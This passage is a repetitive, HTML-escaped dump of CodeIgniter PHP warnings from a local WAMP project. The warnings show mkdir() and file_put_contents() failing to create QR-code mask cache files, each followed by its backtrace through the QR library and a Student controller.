			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_2\mask_21_2.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_3\mask_21_3.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_4\mask_21_4.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_5\mask_21_5.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_6\mask_21_6.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
